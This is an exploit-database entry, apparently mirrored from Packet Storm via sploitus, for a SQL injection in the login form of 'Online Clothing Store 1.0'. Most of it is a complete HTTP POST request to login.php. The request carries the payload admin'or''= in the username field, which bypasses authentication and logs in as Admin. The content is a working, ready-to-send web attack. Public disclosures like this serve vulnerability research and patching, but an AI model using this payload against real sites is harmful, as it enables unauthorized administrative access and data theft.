Share
## https://sploitus.com/exploit?id=PACKETSTORM:157583
# Exploit Title: Online Clothing Store 1.0 - 'username' SQL Injection  
# Date: 2020-05-05  
# Exploit Author: Sushant Kamble  
# Vendor Homepage: https://www.sourcecodester.com/php/14185/online-clothing-store.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/online-clothing-store_0.zip  
# Version: 1.0  
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4  
  
---------------------------------------------------------------------------------  
  
#parameter Vulnerable: username  
# Injected Request  
POST /online%20Clothing%20Store/login.php HTTP/1.1   
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 55  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/online%20Clothing%20Store/  
Cookie: PHPSESSID=shu3nbnsdkb4nb73iips4jkrn7  
Upgrade-Insecure-Requests: 1  
  
txtUserName=admin'or''='&txtPassword=anything&rdType=Admin&button=Login